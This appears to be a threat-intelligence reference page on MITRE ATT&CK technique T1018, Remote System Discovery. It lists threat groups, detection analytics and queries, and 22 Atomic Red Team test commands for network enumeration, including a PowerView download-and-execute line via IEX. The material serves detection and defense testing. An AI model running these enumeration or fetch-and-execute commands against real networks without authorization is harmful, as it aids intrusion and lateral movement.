ShinyHuntersG1057 ↗
Has enumerated the internal subnet using cat /etc/hosts | grep -E "[redacted_victim_string]".1
tfMITRE ATT&CK technique
Remote System Discovery T1018
- Tactic
- Discovery
- Platforms
- ESXi, Linux, macOS, Network Devices, Windows
- Version
- 3.6
- Created
- 31 May 2017
- Last modified
- 12 May 2026
- Contributors
- Daniel Stepanic, Elastic; RedHuntLabs, @redhuntlabs; Austin Clark, @c2defense
Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping, net view using Net, or, on ESXi servers, esxcli network diag ping.
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
41
Threat groupsTop 3%
Threat groups97th percentile · 97% of ATT&CK techniques have this many threat groups attributed or fewer.9
CampaignsTop 4%
Campaigns96th percentile · 96% of ATT&CK techniques have this many campaigns recorded or fewer.54
Tools & malwareTop 7%
Tools & malware93rd percentile · 93% of ATT&CK techniques have this many tools implementing them or fewer.39
Detection rulesTop 6%
Detection rules94th percentile · 94% of ATT&CK techniques have this many detection rules written or fewer.Remote System Discovery MITRE reference T1018
Top 3%of all ATT&CK techniques for number of groups
41 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
MirrorFaceG1054 ↗
Medusa GroupG1051 ↗
Has used PDQ Inventory to get an inventory of the endpoints on the network.1
BlackByteG1043 ↗
Used tools such as Arp to identify remotely-connected devices.12
PlayG1040 ↗
Has used tools such as AdFind, Nltest, and BloodHound to enumerate shares and hostnames on compromised networks.1
AgriusG1030 ↗
Used the tool NBTscan to scan for remote, accessible hosts in victim environments.1
All 41 groups for this technique · 6 newest in this preview
9 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Operation Digital EyeC0061 ↗
During Operation Digital Eye, threat actors used Ping for reconnaissance.1
Leviathan Australian IntrusionsC0049 ↗
Leviathan performed extensive remote host enumeration to build their own map of victim networks during Leviathan Australian Intrusions.1
C0015C0015 ↗
During C0015, the threat actors used the commands net view /all /domain and ping to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.1
Operation CuckooBeesC0012 ↗
During Operation CuckooBees, the threat actors used the net view and ping commands as part of their advanced reconnaissance.1
SolarWinds CompromiseC0024 ↗
During the SolarWinds Compromise, APT29 used AdFind to enumerate remote systems.1
FunnyDreamC0007 ↗
During FunnyDream, the threat actors used several tools and batch files to map victims' internal networks.1
All 9 campaigns for this technique · 6 newest in this preview
54 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
CanisterWormS9042 ↗
Has scanned the local /24 subnet for new targets.1
LODEINFOS9020 ↗
Can run net view and net view /domain for network discovery.1
QilinS1242 ↗
Can enumerate domain-connected hosts during its discovery phase.123
HavocS1229 ↗
Features a module capable of host enumeration.1
RansomHubS1212 ↗
Can enumerate all accessible machines from the infected system.1
GomirS1198 ↗
Probes arbitrary network endpoints for TCP connectivity.1
All 54 software entries for this technique · 6 newest in this preview
Offense vs defense T1018
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 9Sigma rules (cumulative) · 17Splunk ESCU (cumulative) · 22
first rule: 2017 Q1 · 9 of 9 campaigns plottedRemote System Discovery detection strategy DET0574
MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection Strategy for Remote System Enumeration Behavior
5 platforms
AN1583 · Windows
Execution of network enumeration utilities (e.g., net.exe, ping.exe, tracert.exe) in short succession, often chained with lateral movement tools or system enumeration commands.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| Network Connection CreationDC0082 | WinEventLog:Sysmon | EventCode=3, 22 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimeWindow | Define bursty execution patterns of enumeration commands (e.g., <30s) |
| CommandLinePattern | Tunable per org’s scripting/IT tools (e.g., exclude SCCM, PsExec) |
| ParentProcess | Flag suspicious process ancestry (e.g., Word.exe spawning net.exe) |
AN1584 · Linux
Use of bash scripts or interactive shells to issue sequential ping, arp, or traceroute commands to map remote hosts.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd:EXECVE | execve |
| Network Connection CreationDC0082 | linux:syslog | network |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TargetIPRange | Tune for sensitive internal segments or known lateral targets |
| ShellContext | Distinguish user-interactive enumeration vs. cronjob or baseline tooling |
AN1585 · macOS
Execution of built-in or AppleScript-based system enumeration via arp, netstat, ping, and discovery of /etc/hosts contents.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:unifiedlog | process |
| File AccessDC0055 | macos:osquery | file_events |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ExecutionUser | Limit detection to suspicious users or automation contexts |
| CommandSignature | Adapt for expected enumeration tooling used in IT |
AN1586 · ESXi
ESXi shell or SSH access issuing esxcli network diag ping or viewing routing tables to identify connected hosts.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | esxi:hostd | None |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ESXCommandPattern | Match specific diag/debug commands abused for recon |
| RemoteUserShell | Detect unauthorized shell use or user context (e.g., root over SSH) |
AN1587 · Network Devices
Execution of discovery commands like show cdp neighbors, show arp, and other interface-level introspection on Cisco or Juniper devices.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | networkdevice:syslog | syslog facility LOCAL7 or trap messages |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| CommandList | Device-specific recon commands to monitor based on make/model |
| PrivLevel | Trigger detection for privilege escalation prior to recon commands |
1 analytic
Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PLA | Process Lineage Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | hostname |
| process | create | ppid |
| process | create | exe |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
processes = search Process:Create reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe" or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe" or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe" or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe" or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe" or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe" or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe" or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe" or exe == "wscript.exe" or exe == "xcopy.exe") reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes) output reg_grouped
Sigma version of the above pseudocode, with some modifications.
DNIF version of the above pseudocode.
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100 >>_agg count >>_checkif int_compare Count > 1 include
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"] | chart count() as cnt by host | search cnt > 1
Unit tests
CAR’s own validation procedures for this analytic.
Within a command window, execute several of the commands in quick succession.
["ipconfig /all","hostname","systeminfo","reg.exe Query HKLM\\Software\\Microsoft"]
Tests22Executorscmd 9 · PowerShell 7 · sh 6Need elevation2 of 22Have prerequisites9Have cleanup1Platformswindows, linux, macos
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Remote System Discovery - net | windows | cmd | — | — | — | ||||||||||||||||||||||
Identify remote systems with net.exe.
Upon successful execution, cmd.exe will execute Attack command net view /domain net view GUID3753cbf6-7219-4448-be4b-e97873587efc | ||||||||||||||||||||||||||||
| 02 | Remote System Discovery - net group Domain Computers | windows | cmd | — | — | — | ||||||||||||||||||||||
Identify remote systems with net.exe querying the Active Directory Domain Computers group. Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Computers" group. Output will be via stdout. Attack command net group "Domain Computers" /domain GUID440471f4-5913-4644-8cee-88a686fff220 | ||||||||||||||||||||||||||||
| 03 | Remote System Discovery - nltest | windows | cmd | — | — | — | ||||||||||||||||||||||
Identify domain controllers for specified domain. Upon successful execution, cmd.exe will execute nltest.exe against a target domain to retrieve a list of domain controllers. Output will be via stdout. Input arguments
Attack command nltest.exe /dclist:#{target_domain}
GUID6224ff5a-b159-49c3-bcdb-c200e2b53ed6 | ||||||||||||||||||||||||||||
| 04 | Remote System Discovery - ping sweep | windows | cmd | — | — | — | ||||||||||||||||||||||
Identify remote systems via ping sweep. Upon successful execution, cmd.exe will perform a for loop against the 192.168.1.1/24 network. Output will be via stdout. Input arguments
Attack command for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i
GUID4ff85a73-a840-4141-ad9a-a67185a8fc60 | ||||||||||||||||||||||||||||
| 05 | Remote System Discovery - arp | windows | cmd | — | — | — | ||||||||||||||||||||||
Identify remote systems via arp. Upon successful execution, cmd.exe will execute arp to list out the arp cache. Output will be via stdout. Attack command arp -a GUID3c322242-e0a7-4635-a0b9-dca9b8f694a3 | ||||||||||||||||||||||||||||
| 06 | Remote System Discovery - arp nix | linux, macos | sh | — | 1 | — | ||||||||||||||||||||||
Identify remote systems via arp. Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout. Attack command arp -a | grep -v '^?' Prerequisite Check if arp command exists on the machine Check if [ -x "$(command -v arp)" ]; then exit 0; else exit 1; fi; Satisfy (which yum && yum -y install net-tools)||(which apt-get && apt-get install -y net-tools) GUID1bd81f97-29bc-4ff6-baf3-44f7534bdf2f | ||||||||||||||||||||||||||||
| 07 | Remote System Discovery - sweep | linux, macos | sh | — | — | — | ||||||||||||||||||||||
Identify remote systems via ping sweep. Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active. Input arguments
Attack command for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo "#{subnet}.$ip UP" || : ; done
GUIDfc97229a-569e-4040-ad58-d2dbea27265d | ||||||||||||||||||||||||||||
| 08 | Remote System Discovery - nslookup | windows | PowerShell | Required | — | — | ||||||||||||||||||||||
Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig. Upon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout. Attack command $localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
$pieces = $localip.split(".")
$firstOctet = $pieces[0]
$secondOctet = $pieces[1]
$thirdOctet = $pieces[2]
foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip}
GUID395c617d-ad48-4db8-90db-71f0ef9fcfe8 | ||||||||||||||||||||||||||||
| 09 | Remote System Discovery - adidnsdump | windows | cmd | Required | 3 | — | ||||||||||||||||||||||
This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will list dns zones in the terminal. Input arguments
Attack command "#{venv_path}\Scripts\adidnsdump" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}
Prerequisite Computer must have python 3 installed Check if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait Prerequisite Computer must have venv configured at #{venv_path} Check if (Test-Path -Path "#{venv_path}" ) { exit 0 } else { exit 1 }
Satisfy py -m venv "#{venv_path}"
Prerequisite adidnsdump must be installed Check if (Get-Command "#{venv_path}\Scripts\adidnsdump" -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
Satisfy & "#{venv_path}\Scripts\pip.exe" install --no-cache-dir adidnsdump 2>&1 | Out-Null
GUIDfad9169d-c828-41cc-aa26-ee50416bf93e | ||||||||||||||||||||||||||||
| 10 | Adfind - Enumerate Active Directory Computer Objects | windows | cmd | — | 1 | — | ||||||||||||||||||||||
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html Input arguments
Attack command "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=computer) #{optional_args}
Prerequisite AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" GUIDdebf56f1-75d3-42dd-8ac0-9907d76ede88 | ||||||||||||||||||||||||||||
| 11 | Adfind - Enumerate Active Directory Domain Controller Objects | windows | cmd | — | 1 | — | ||||||||||||||||||||||
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html Input arguments
Attack command "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -sc dclist
Prerequisite AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" GUID22641e1d-2ae9-45c1-838d-401f4649d13b | ||||||||||||||||||||||||||||
| 12 | Remote System Discovery - ip neighbour | linux | sh | — | 1 | — | ||||||||||||||||||||||
Use the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment. Attack command ip neighbour show Prerequisite Check if ip command exists on the machine Check if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi; Satisfy apt-get install iproute2 -y GUID0ce103e1-cb12-420c-87a6-b1e4ec164c80 | ||||||||||||||||||||||||||||
| 13 | Remote System Discovery - ip route | linux | sh | — | 1 | — | ||||||||||||||||||||||
Use the ip route command to display the kernels routing tables. Attack command ip route show Prerequisite Check if ip command exists on the machine Check if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi; Satisfy apt-get install iproute2 -y GUIDd12e0c76-23b8-4d85-911e-c342670d1f1e | ||||||||||||||||||||||||||||
| 14 | Remote System Discovery - netstat | linux | sh | — | — | — | ||||||||||||||||||||||
Use the netstat command to display the kernels routing tables. Attack command netstat -r | grep default GUIDe2aa5ea6-fe8f-47da-80f3-4f92f0f660ad | ||||||||||||||||||||||||||||
| 15 | Remote System Discovery - ip tcp_metrics | linux | sh | — | 1 | — | ||||||||||||||||||||||
Use the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses. Attack command ip tcp_metrics show |grep --invert-match "^127\." Prerequisite Check if ip command exists on the machine Check if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi; Satisfy apt-get install iproute2 -y GUIDe3fe430d-0ee3-45ac-bcb8-c6ebeb68a238 | ||||||||||||||||||||||||||||
| 16 | Enumerate domain computers within Active Directory using DirectorySearcher | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||
This test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. This test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. Reference: Head Fake: Tackling Disruptive Ransomware Attacks. Upon successful execution, this test will output the names of the computers that reside on the domain to the console window. Attack command $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher("(ObjectCategory=Computer)")
$DirectorySearcher.PropertiesToLoad.Add("Name")
$Computers = $DirectorySearcher.findall()
foreach ($Computer in $Computers) {
$Computer = $Computer.Properties.name
if (!$Computer) { Continue }
Write-Host $Computer}
Prerequisite This PC must be joined to a domain. Check if ((Get-WmiObject -Class Win32_ComputerSystem).partofdomain -eq $true) {exit 0} else {exit 1}Satisfy write-host "This PC must be manually added to a domain." GUID13d2419c-73d5-4a61-b6e5-5cd23eb279fa | ||||||||||||||||||||||||||||
| 17 | Enumerate Active Directory Computers with Get-AdComputer | windows | PowerShell | — | — | — | ||||||||||||||||||||||
The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory. Upon successful execution a listing of Computers will output with their paths in AD. Reference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md Attack command Get-AdComputer -Filter * GUID852ebfa7-fb3f-47bc-931e-549b7dc84aad | ||||||||||||||||||||||||||||
| 18 | Enumerate Active Directory Computers with ADSISearcher | windows | PowerShell | — | — | — | ||||||||||||||||||||||
The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory. Upon successful execution a listing of computers will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/ Attack command ([adsisearcher]"objectcategory=computer").FindAll(); ([adsisearcher]"objectcategory=computer").FindOne() GUID3bd760f1-e2ad-4a6e-9e3c-72913b1e13c8 | ||||||||||||||||||||||||||||
| 19 | Get-DomainController with PowerView | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed. Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose GUIDe73e8036-4cc9-4ca8-b653-3235a58c125e | ||||||||||||||||||||||||||||
| 20 | Get-WmiObject to Enumerate Domain Controllers | windows | PowerShell | — | — | — | ||||||||||||||||||||||
The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers. Upon successful execution a listing of Systems from AD will output with their paths. Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1 Attack command try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop }
catch { $_; exit $_.Exception.HResult }
GUID8a10d27b-cbcc-4e0d-a431-3e33117d6833 | ||||||||||||||||||||||||||||
| 21 | Remote System Discovery - net group Domain Controller | windows | cmd | — | — | — | ||||||||||||||||||||||
Identify remote systems with net.exe querying the Active Directory Domain Controller. Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Controller" in the domain. Output will be via stdout. Attack command net group /domain "Domain controllers" GUID482a1af7-0bc0-4de2-a3d1-c10eeb46ebbd | ||||||||||||||||||||||||||||
| 22 | Enumerate Remote Hosts with Netscan | windows | PowerShell | — | 1 | Yes | ||||||||||||||||||||||
This test uses Netscan to identify remote hosts in a specified network range. Input arguments
Attack command cmd /c '#{netscan_path}' /hide /auto:"$env:temp\T1018NetscanOutput.txt" /range:'#{range_to_scan}'Cleanup command remove-item "$env:temp\T1018NetscanOutput.txt" -force -erroraction silentlycontinue Prerequisite Netscan must be installed Check if (Test-Path "#{netscan_path}") {exit 0} else {exit 1}Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\netscan.zip" "https://www.softperfect.com/download/files/netscan_portable.zip" Expand-Archive -LiteralPath "PathToAtomicsFolder\..\ExternalPayloads\netscan.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\netscan" GUID838af4d5-169f-4f07-ac38-f217fba2759c | ||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition